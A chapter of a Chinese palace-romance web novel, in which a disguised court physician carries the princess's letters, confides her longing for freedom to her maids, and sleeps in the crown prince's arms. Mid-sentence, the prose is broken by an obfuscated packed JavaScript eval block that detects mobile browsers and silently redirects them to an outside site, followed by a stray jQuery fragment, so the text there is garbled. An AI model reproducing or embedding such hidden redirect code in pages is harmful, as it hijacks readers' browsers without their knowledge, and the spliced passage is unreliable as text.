42. 江舟泛羽

作品:《江舟泛羽

    “余兄,明日便是月考,怎么还这般魂不守舍?”


    楼意经过江稚鱼身旁,见她目光无神,想伸手拍拍她背又忽然停住。


    江稚鱼回过神,她看向楼意,轻笑摇头:“只是有些累,在愣神。”


    这话自然不是真心话,她忍不住在想溪儿的事情。


    楼意点头:“你这些日子宫里宫外跑,在太医署还得应付祝松,着实辛苦。”


    提起祝松,江稚鱼便是无奈叹气:“事事与我比较,还时时盯着我,真是煞费苦心。”


    “说来也奇怪,你尚未来太医署时,他虽傲气重些,但也不曾如此针对一个人,可你一来,他就像是变了个样子,刻薄不少,戾气也重。”


    那江稚鱼一听楼意这话,对祝松又生出不少猜忌。


    两人正谈论着,那边嘉玉公主的侍女又来请她。


    楼意道:“这嘉玉公主怎么总来请你?”


    当然是因为她能出宫,能给萧瑛做信使。


    不过江稚鱼自然不能说出原因,她干笑两声,找了个借口:“公主这些时日睡不好,大抵是寺庙之事受了惊吓,我开的几服药方她吃着有效果就不想再找其他人开药,所以总让我去瞧瞧。”


    楼意听来便了然点点头。


    “那我先走了,明日考核,预祝楼兄取得好成绩。”


    说罢江稚鱼拱手离去。


    …


    来到公主宫殿,江稚鱼照常取出信封,萧瑛一见便迫不及待接了过去。


    江稚鱼顺势看去,细细打量起萧瑛的神色。


    几日未见,神色依旧有些憔悴,但是不再神伤。


    眼看东西已经给了,江稚鱼便不再逗留,往后退了几步:“公主,那奴婢告退。”


    江稚鱼躬身行礼,然后转身离开,不想萧瑛急急叫住她。


    “等等!”


    江稚鱼缓缓回头:“公主还有什么吩咐?”


    虽然这些日子往来变多,关系也亲近点,但萧瑛毕竟是公主,这四周又到处是宫女侍从,且她自己身份还特殊,平日见到萧瑛总归还是要客客气气,注意分寸和规矩。


    再者她也不是萧钰,对她总有些高傲。


    萧瑛走上前,她拿着纸问:“她可曾对你说什么?”


    江稚鱼抬眸,不知道她这话是什么意思,又或者想从她这里听到什么,一时间她也不好回答,于是便摇摇头:“没说什么。”


    “当真什么也没说?”萧瑛追问。


    江稚鱼眉头微蹙,眨眨眼:“公主到底想问什么,不妨与奴婢直说吧。我只是个治病的大夫实在是猜不透公主心里想的什么。”


    萧瑛抿嘴,她捏着信坐回椅子上,有些挫败有些迷茫。


    “那日我问你,你嫉妒吗?你没回答我,今日你可以回答我了吗?”


    她再次提起,江稚鱼却轻叹。


    看来这个问题真的很困扰她。


    “公主觉得我的回答很重要吗?”江稚鱼问。


    有些时候,当江稚鱼想让自己的个人意志变强烈,让人能感受到她的真实想法,她就不愿再自称为奴婢。


    就像此时此刻。


    而萧瑛看着她皱眉思索。


    江稚鱼继续问:“我嫉妒或者不嫉妒,与公主而言能如何?倘若是嫉妒得发疯,要与她势不两立,公主也能做到如此吗?”


    势不两立…


    萧瑛一听到这话,她心口便是一阵刺痛,下意识摇头:“我怎么会如此?我做不到与她势不两立,也想象不到没有她的日子,她是我最重要的人。”


    “既然公主心中早已有答案了,何必来问我?”


    萧瑛苦笑:“只是有些不甘心。”


    …


    是夜。


    江稚鱼捧着医书怔神。


    一旁的月婵与青萝对视一眼,月婵走上前:“姑娘,可是累了?”


    江稚鱼回神:“没有,就是在想事情。”


    “姑娘这几日总在想事情,奴婢能否为姑娘分忧?”月婵问。


    “我…”江稚鱼不怎么藏着自己的心思,她一向愿意告诉月婵。


    “我初来京城的时候只觉每日被困,没有自由很苦闷,后来能学医能进入宫里宫外原以为会开心,可见到了许多事情后,忽然觉得皇权下真的有自由吗?又有谁能自由?”


    “姑娘!”月婵听到这话,脸色都白了,她与青萝赶忙跪下,“姑娘,这种大逆不道的话怎么能说出口!姑娘万不可再说了!”


    见到两人神色慌乱,江稚鱼赶忙扶起二人:“快起来快起来!我不是说了吗?私底下不要跪我,膝盖跪来跪去不痛吗?”


    可这次月婵两人长跪着不起,就连一向稚气的青萝也不敢玩笑了。


    “你们这是做什么?快起来,我知道了,我不说了。”江稚鱼没了办法,他只好嘴上妥协,然后再次扶起二人。


    听到江稚鱼改口,两人才敢站起身,月婵还忍不住叮嘱:“姑娘,这些话你决不可再说了,就算是太子殿下也不可在他面前如此妄言。”


    瞧见月婵凝重的神色,江稚鱼叹气,嘴上说着:“知道了,我不会说的。”


    心里却不这么认为。


    她想她还是讨厌这个皇宫,还是想要离开,这样吃人的地方,没有自由的地方,人人都活得像傀儡的地方她不愿留下,她想停舟哥哥了,她想爷爷了,她想回他们的山谷。


    月婵见江稚鱼不太开心,宽慰道:“姑娘,你只是还不适应这里,往后时间久了自然就习惯了,况且太子殿下对姑娘这样好,将姑娘留在自己的丽正殿,允许姑娘去学医,替姑娘瞒着身份,让姑娘能出宫,凡是姑娘想要的,太子殿下都愿意给,如此厚爱旁人不知如何羡慕姑娘。”


    青萝也跟着一起安慰:“是啊姑娘,如今姑娘还没名分太子殿下便愿意如此付出,往后等太子殿下娶姑娘为良娣了,姑娘只会得到更多宠爱,就算是太子妃也不及姑娘的万千。”


    “青萝。”好好的怎么提起太子妃,月婵飞速朝她皱眉,“不可议论太子妃。”


    无论如何,这太子妃是太子正妃,地位身份不一般,做下人的怎么能议论比较起主子?


    青萝自知说错话了,赶忙捂住嘴看向江稚鱼。


    “好了,你们也不必说了,我明白你们的意思,我只是…只是有些想家了。”


    江稚鱼回到原先看书的位置,她撑着脑袋面露愁容,对她们摆摆手:“你们先下去吧,我想一个人待会。”


    月婵与青萝见此只好默默退下。


    待到夜深了,江稚鱼已经睡下,萧钰才从明德殿回来。


    外头的灯火晃了晃,江稚鱼睡得也不踏实,她皱着眉迷迷糊糊睁开眼。


    只见萧钰缓步走来然后掀开被子躺下。


    江稚鱼侧着身看他:“今日很忙吗?怎么回来的这样


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319387|180377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晚。”


    萧钰寻到她的脸,轻柔摸了摸:“可是等我了?你明日还有考试,早些睡吧。”


    她摇头。


    萧钰虽不是日日这样晚,但他就寝的时间确实都不早,一开始江稚鱼还会等着他,后来好几次趴在桌上等睡着了,萧钰便不让她等了,还叮嘱月婵青萝让她早些睡下。


    所以她时常是学完医书或者练完字便早早睡下,若是遇到他回来的早才会与他说说每日发生的琐事,像这样等到夜深还在等是少有的事情。


    江稚鱼伸手握着他抚摸在脸上的手:“羽珩。”


    她只是睡得不踏实。


    “嗯?”他鼻息回了一声。


    四周暗沉沉,灯火已经熄灭。


    江稚鱼紧紧握着他的手,也不说话,其实她不知道该怎么跟他说,这几日的事让她思虑过度,还有更深层的原因是,她畏惧这个地方。


    害怕有一日,她也会这样的身不由己。


    萧钰似乎感觉到了她的情绪,他顺着她侧身缓缓抚摸到腰肢,江稚鱼睫羽飞快地煽动,心莫名揪在一块。


    他的声音响起,在黑夜中格外温润清雅:“我想抱着你,江儿。”


    床榻上,他们同床共枕这么久,外面都道如何风雨,如何缠绵悱恻,如何夜夜承欢,可实际上他们始终本本分分,从未踏出雷池半步,连相拥而眠也不曾有过。


    今夜,萧钰忽然提出这样的要求,让江稚鱼有些紧张。


    她嘴抿着,心扑通扑通地跳,半晌才低低嗯了一声,轻如吐息。


    得了应允,萧钰那双宽大的手马上环住腰肢,然后将人往自己身边一带,那炙热的吐息便落在了脖颈,惹得她浑身一颤,双手不由抵在他胸膛不安地收紧。


    萧钰则暧昧靠在她颈窝,呼吸如此近,江稚鱼以为他又要做那件事,小小推了推他,耳尖泛红:“不行,我明日还要考试,你弄出痕迹,我涂了胭脂后会影响嗅药的。”


    听她说得怯生生,整个人又被他圈在怀中,想来是怕自己挣脱不开便小心着求饶,萧钰忍不住轻笑:“往日总与我使小性子,也不怕我,如今可算是有些怕了。”


    江稚鱼抬起头,黑夜里看不清他的神色,想来一定是眼眸带笑,清清冷冷模样摆出一副打趣捉弄的神情,她哼了一声,倒也不想服输:“若不是你比我力气大些,我才不怕你。”


    “好好。”萧钰摸摸她柔顺的发丝,嘴角微微翘起,“你不怕我,是我怕你,怕你不开心。”


    “你是不是在逗我?”从他轻松的语气中江稚鱼察觉到他其实并无那心思,想来只是想抱着她。


    萧钰笑笑,声音很是温柔:“睡吧。”


    他收紧怀抱,温暖的怀抱让江稚鱼渐渐生出安逸,四肢也软绵绵。


    她挨着他,缩在他怀里。


    萧钰身上总有一股松木冷雪的味道,不知是他总系在腰间的金丝香囊还是他大殿日日熏的香。


    而这个味道她闻得多了,总会突然想起他。


    在背书的时候想起,在写字的时候想起,在识药材的时候想起,在愣神的时候想起,在等他的时候也会想起。


    毫无缘由地,想他。


    如今萧钰在她身边的日子越来越久,她好像也越来越习惯他的陪伴。


    想着这些,江稚鱼眼皮开始打架,很快便睡了过去。


    气息渐渐变得平缓,这次她睡得很是安稳。